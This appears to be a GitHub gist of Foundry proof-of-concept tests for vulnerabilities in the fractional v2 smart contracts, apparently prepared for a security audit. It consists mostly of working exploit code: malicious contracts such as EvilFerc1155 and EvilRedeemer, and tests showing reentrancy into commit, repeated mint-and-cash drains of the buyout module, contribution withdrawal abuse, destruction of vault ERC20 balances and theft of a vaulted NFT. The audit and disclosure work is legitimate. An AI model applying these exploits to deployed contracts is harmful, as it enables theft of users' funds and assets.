Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@zzzitron
Last active July 14, 2022 15:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save zzzitron/24c02e069b428f7a95ebc6c931e29b4e to your computer and use it in GitHub Desktop.
Save zzzitron/24c02e069b428f7a95ebc6c931e29b4e to your computer and use it in GitHub Desktop.
Proof of concept for fractional v2. Run test with `forge test -vvv -m poc` as all test functions have suffix of poc.
// SPDX-License-Identifier: Unlicense
pragma solidity 0.8.13;
import "./TestUtil.sol";
contract EvilFerc1155 {
uint256 constant TOTAL_SUPPLY = 10000;
uint256 constant HALF_SUPPLY = TOTAL_SUPPLY / 2;
address public owner;
uint256 public counter;
Migration public migration;
bytes32[] burnProof;
address public vault;
uint256 public proposalId;
uint256 public howManyReenters = 4;
constructor(address payable migrationAddr_) {
migration = Migration(migrationAddr_);
owner = msg.sender;
}
function setUp(address vault_, uint256 proposalId_) external {
vault = vault_;
proposalId = proposalId_;
}
function controller() external view returns (address controllerAddr) {
return owner;
}
function balanceOf(address addr_, uint256 id_) external returns (uint256 balance) {
return HALF_SUPPLY;
}
function totalSupply(uint256 id) external view returns (uint256 totalSupply) {
return TOTAL_SUPPLY;
}
function safeTransferFrom(
address _from,
address _to,
uint256 _id,
uint256 _amount,
bytes memory _data
) public {
if (vault != address(0) && counter < howManyReenters) {
// reenters commit
counter++;
migration.commit(vault, proposalId);
}
}
function setApprovalFor(
address _operator,
uint256 _id,
bool _approved
) external {
}
}
contract EvilRedeemer {
IBuyout public buyout;
IVaultRegistry public registry;
IVaultFactory public factory;
BaseVault public baseVault;
address public vaultAddress;
bytes32[] burnProof;
constructor(address baseVault_, address buyout_, address registry_, bytes32[] memory burnProof_) {
baseVault = BaseVault(baseVault_);
buyout = IBuyout(buyout_);
registry = IVaultRegistry(registry_);
factory = IVaultFactory(registry.factory());
// the tx origin who creates the vault
vaultAddress = factory.getNextAddress(address(tx.origin));
burnProof = burnProof_;
}
function start (
uint256 _fractionSupply,
address[] calldata _modules,
address[] calldata _plugins,
bytes4[] calldata _selectors,
bytes32[] calldata _mintProof
) external returns (address vault) {
return baseVault.deployVault(_fractionSupply, _modules, _plugins, _selectors, _mintProof);
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external virtual returns (bytes4) {
// when token is received call redeem
buyout.redeem(vaultAddress, burnProof);
return EvilRedeemer.onERC1155Received.selector;
}
}
contract PocModuleTest is TestUtil {
/// =================
/// ===== SETUP =====
/// =================
function setUp() public {
setUpContract();
alice = setUpUser(111, 1);
bob = setUpUser(222, 2);
vm.label(address(this), "PocModuleTest");
vm.label(alice.addr, "Alice");
vm.label(bob.addr, "Bob");
}
function testMultiProposal_poc() public {
// 1. setup
// a vault for proposals
proposalPeriod = buyoutModule.PROPOSAL_PERIOD();
rejectionPeriod = buyoutModule.REJECTION_PERIOD();
vault = bob.baseVault.deployVault(
TOTAL_SUPPLY,
modules,
nftReceiverPlugins,
nftReceiverSelectors,
mintProof
);
bob.erc721.safeTransferFrom(bob.addr, vault, 2);
assertEq(MockERC721(erc721).ownerOf(2), address(vault));
// 2. distribute token for the vault
(token, tokenId) = registry.vaultToToken(vault);
vm.prank(bob.addr);
FERC1155(token).safeTransferFrom(bob.addr, alice.addr, tokenId, HALF_SUPPLY - 1000, "");
// propose for the vault
// 3. alice (attacker) proposed for the vault and her proposalId is 1
alice.migrationModule.propose( vault, modules, nftReceiverPlugins, nftReceiverSelectors, TOTAL_SUPPLY, 0 ether);
// 4. bob (victim) proposed for the vault and his proposalId is 2
bob.migrationModule.propose( vault, modules, nftReceiverPlugins, nftReceiverSelectors, TOTAL_SUPPLY, 1 ether);
// 5. alice commits to kickoff buyout but fails
vm.prank(alice.addr);
FERC1155(token).setApprovalForAll(address(migrationModule), true);
alice.migrationModule.join{value: 0.1 ether}(vault, 1, 1);
vm.warp(proposalPeriod + 1);
bool started = alice.migrationModule.commit(vault, 1);
assertTrue(started);
// 6. alice call `end` on the buyoutmodule
vm.warp(proposalPeriod + rejectionPeriod + 2);
alice.buyoutModule.end(vault, burnProof);
// bob prepare to make proposal successful
vm.prank(bob.addr);
FERC1155(token).setApprovalForAll(address(migrationModule), true);
bob.migrationModule.join{value: 2 ether}(vault, 2, HALF_SUPPLY+1000);
vm.warp(proposalPeriod + 1);
// 7. bob commit (proposalId2)
// bob commit to kickoff the buyout process
started = bob.migrationModule.commit(vault, 2);
assertTrue(started);
// 8. bob's buyout proposal was successful and bob ends it
vm.warp(proposalPeriod + rejectionPeriod + 2);
bob.buyoutModule.end(vault, burnProof);
// 9. now alice can withdraw to a vault she proposed
alice.migrationModule.settleVault(vault, 1); // she makes a vault
alice.migrationModule.migrateVaultERC721(vault, 1, erc721, 2, erc721TransferProof); // and transfers it
// get info of new vault from proposal info
(, , , , address newVault, , , , ) = migrationModule.migrationInfo(vault, 1);
assertEq(MockERC721(erc721).ownerOf(2), address(newVault));
}
function testAnyoneCanThrowERC20_poc() public {
// setup vault with ERC20
proposalPeriod = buyoutModule.PROPOSAL_PERIOD();
rejectionPeriod = buyoutModule.REJECTION_PERIOD();
vault = bob.baseVault.deployVault(
TOTAL_SUPPLY,
modules,
nftReceiverPlugins,
nftReceiverSelectors,
mintProof
);
MockERC20(erc20).mint(bob.addr, 100);
vm.prank(bob.addr);
MockERC20(erc20).transfer(vault, 100);
assertEq(MockERC20(erc20).balanceOf(vault), 100);
// propose for vault
// bob's proposal: id 1
(token, tokenId) = registry.vaultToToken(vault);
vm.prank(bob.addr);
FERC1155(token).setApprovalForAll(address(migrationModule), true);
bob.migrationModule.propose( vault, modules, nftReceiverPlugins, nftReceiverSelectors, TOTAL_SUPPLY, 1 ether);
bob.migrationModule.join{value: 2 ether}(vault, 1, HALF_SUPPLY+1000);
vm.warp(proposalPeriod + 1);
// bob commit to kickoff the buyout process
bool started = bob.migrationModule.commit(vault, 1);
assertTrue(started);
vm.warp(proposalPeriod + rejectionPeriod + 2);
bob.buyoutModule.end(vault, burnProof);
// alice can just throw away the erc20
// using some random proposal id 2
assertEq(MockERC20(erc20).balanceOf(vault), 100);
// basically sending erc20 to zero address
alice.migrationModule.migrateVaultERC20(vault, 2, erc20, 100, erc20TransferProof);
assertEq(MockERC20(erc20).balanceOf(vault), 0);
}
function testWithdrawContribution_poc() public {
// setup
// other people has migration going on in the module migration
// => some eth is in the module
// note: using alice and bob only for ease of setup
// but they should be victims unrelated to the actors
initializeMigration(alice, bob, TOTAL_SUPPLY, HALF_SUPPLY, true);
(nftReceiverSelectors, nftReceiverPlugins) = initializeNFTReceiver();
// Bob makes the proposal: proposalId 1
bob.migrationModule.propose(
vault,
modules,
nftReceiverPlugins,
nftReceiverSelectors,
TOTAL_SUPPLY * 2,
10 ether
);
// Bob joins the proposal
bob.migrationModule.join{value: 5 ether}(vault, 1, HALF_SUPPLY);
// done setup
assertEq(address(migrationModule).balance, 5 ether);
// similar setup to `Migration.t.sol::testLeave`
// new vault for proposal
vault = alice.baseVault.deployVault(
TOTAL_SUPPLY,
modules,
nftReceiverPlugins,
nftReceiverSelectors,
mintProof
);
(token, tokenId) = registry.vaultToToken(vault);
// Bob makes the proposal // proposalId 2
bob.migrationModule.propose(
vault,
modules,
nftReceiverPlugins,
nftReceiverSelectors,
TOTAL_SUPPLY * 2,
0.001 ether
);
// Alice joins the proposal
alice.migrationModule.join{value: 0.5 ether}(vault, 2, HALF_SUPPLY);
// Alice leaves the proposal BUT
// instead of using leave, she uses withdrawContribution
// alice.migrationModule.leave(vault, 2);
uint256 aliceBalanceBefore = alice.addr.balance;
alice.migrationModule.withdrawContribution(vault, 2);
// check the balances
// alice got 0.5 ether back
assertEq(alice.addr.balance - aliceBalanceBefore, 0.5 ether);
assertEq(address(migrationModule).balance, 5 ether);
(,,uint totalEth,,,,,,) = migrationModule.migrationInfo(vault, 2);
assertEq(totalEth, 0.5 ether);
bool started = alice.migrationModule.commit(vault, 2);
assertTrue(started);
assertEq(address(migrationModule).balance, 4.5 ether);
}
function testCommitReenter_poc() public {
// setup
// other people has migration going on in the module migration
// => some eth is in the module
// note: using alice and bob only for ease of setup
// but they should be victims unrelated to the actors
initializeMigration(alice, bob, TOTAL_SUPPLY, HALF_SUPPLY, true);
(nftReceiverSelectors, nftReceiverPlugins) = initializeNFTReceiver();
// Bob makes the proposal: proposalId 1
bob.migrationModule.propose(
vault,
modules,
nftReceiverPlugins,
nftReceiverSelectors,
TOTAL_SUPPLY * 2,
10 ether
);
// Bob joins the proposal
bob.migrationModule.join{value: 5 ether}(vault, 1, HALF_SUPPLY);
// done setup
assertEq(address(migrationModule).balance, 5 ether);
// evilToken and a vault using the token
vm.prank(alice.addr);
address evil_token = address(new EvilFerc1155(payable(address(migrationModule))));
vm.prank(alice.addr);
vault = registry.createInCollection(merkleRoot, evil_token, nftReceiverPlugins, nftReceiverSelectors);
// propose: proposalId 2
alice.migrationModule.propose(
vault,
modules,
nftReceiverPlugins,
nftReceiverSelectors,
TOTAL_SUPPLY,
0 ether
);
alice.migrationModule.join{value: 0.5 ether}(vault, 2, HALF_SUPPLY/2);
// set vault and proposalId
EvilFerc1155(evil_token).setUp(vault, 2);
// check balance
assertEq(address(migrationModule).balance, 5.5 ether);
assertEq(address(buyoutModule).balance, 0);
// commit
vm.warp(proposalPeriod + 1);
alice.migrationModule.commit(vault, 2);
assertEq(address(migrationModule).balance, 3 ether);
assertEq(address(buyoutModule).balance, 2.5 ether);
// one can change how many times to reenter depending the eth in the module
// by setting `howManyReenters` in the EvilFerc1155 contract
}
function testCashRepeat_poc() public {
// setup
// other people has buyout going on with the buyout module
// => some eth is in the module
initializeBuyout(alice, bob, TOTAL_SUPPLY, HALF_SUPPLY, true);
bob.buyoutModule.start{value: 10 ether}(vault);
assertEq(getETHBalance(buyout), 10 ether);
// deploy a vault with Supply::mint as plugin
bytes4[] memory mSelectors = new bytes4[](1);
address[] memory mPlugins = new address[](1);
mSelectors[0] = supplyTarget.mint.selector;
mPlugins[0] = address(supplyTarget);
// address of vault with minting function
vault = alice.baseVault.deployVault(TOTAL_SUPPLY, modules, mPlugins, mSelectors, mintProof);
// setup for buyout start
(token, tokenId) = registry.vaultToToken(vault);
vm.prank(alice.addr);
FERC1155(token).safeTransferFrom(
alice.addr,
bob.addr,
tokenId,
HALF_SUPPLY - 10,
""
);
vm.prank(alice.addr);
FERC1155(token).setApprovalForAll(address(buyoutModule), true);
// start buyout with a bit of eth
alice.buyoutModule.start{value: 1 ether}(vault);
vm.warp(rejectionPeriod + 1);
alice.buyoutModule.end(vault, burnProof);
assertEq(getETHBalance(buyout), 11 ether);
// cash out
bob.buyoutModule.cash(vault, burnProof);
assertEq(getETHBalance(buyout), 10 ether);
// mint
vm.prank(alice.addr);
Supply(vault).mint(alice.addr, 10);
// cash out
alice.buyoutModule.cash(vault, burnProof);
assertEq(getETHBalance(buyout), 9 ether);
// can repeat mint and cash out until the module is empty
}
function testRedeemZeroSupply_poc() public {
// deploy EvilRedeemer
vm.prank(alice.addr, alice.addr);
EvilRedeemer redeemer = EvilRedeemer(new EvilRedeemer(address(baseVault), address(buyoutModule), address(registry), burnProof));
// create a vault for EvilRedeemer
vm.prank(alice.addr, alice.addr);
address mVault = redeemer.start(
TOTAL_SUPPLY,
modules,
nftReceiverPlugins,
nftReceiverSelectors,
mintProof
);
assertEq(mVault, redeemer.vaultAddress());
// check state is SUCCESS
(, , State current, , , ) = buyoutModule.buyoutInfo(mVault);
assertEq(uint(current), 2);
// check EvilRedeemer has balance of total supply
(token, tokenId) = registry.vaultToToken(mVault);
assertEq(getFractionBalance(address(redeemer)), TOTAL_SUPPLY);
}
function testDeployLimitedModule_poc() public {
// override modules
modules = new address[](3);
modules[0] = address(baseVault);
modules[1] = address(buyoutModule);
modules[2] = address(migrationModule);
// // The below reverts with "Index out of bounds"
// vm.expectRevert();
// vault = alice.baseVault.deployVault(
// TOTAL_SUPPLY,
// modules,
// nftReceiverPlugins,
// nftReceiverSelectors,
// mintProof
// );
}
function testCashShare_poc() public {
// to make sure the eth in the buyout does not run out
vm.prank(alice.addr);
address(buyoutModule).call{value: 5 ether}("");
initializeBuyout(alice, bob, TOTAL_SUPPLY, HALF_SUPPLY, true);
setUpBuyoutCash(alice, bob);
(token, tokenId) = registry.vaultToToken(vault);
assertEq(getFractionBalance(alice.addr), 4000);
assertEq(getFractionBalance(buyout), 0);
assertEq(getETHBalance(alice.addr), 95.2 ether);
assertEq(getETHBalance(bob.addr), 99 ether);
assertEq(getETHBalance(buyout), 5.8 ether);
// before balance
uint256 bobBalance1 = getETHBalance(bob.addr);
vm.prank(alice.addr);
IFERC1155(token).safeTransferFrom(alice.addr, bob.addr, tokenId, 1000, "");
assertEq(getFractionBalance(bob.addr), 1000);
bob.buyoutModule.cash(vault, burnProof);
// after cashing out 1000
uint256 bobBalance2 = getETHBalance(bob.addr);
assertEq(bobBalance2 - bobBalance1, 200000000000000000); // the first 1000
assertEq(getFractionBalance(bob.addr), 0);
vm.prank(alice.addr);
IFERC1155(token).safeTransferFrom(alice.addr, bob.addr, tokenId, 1000, "");
assertEq(getFractionBalance(bob.addr), 1000);
bob.buyoutModule.cash(vault, burnProof);
// after cashing out second 1000
uint256 bobBalance3 = getETHBalance(bob.addr);
assertEq(bobBalance3 - bobBalance2, 266666666666666666); // the second 1000
assertEq(getFractionBalance(bob.addr), 0);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment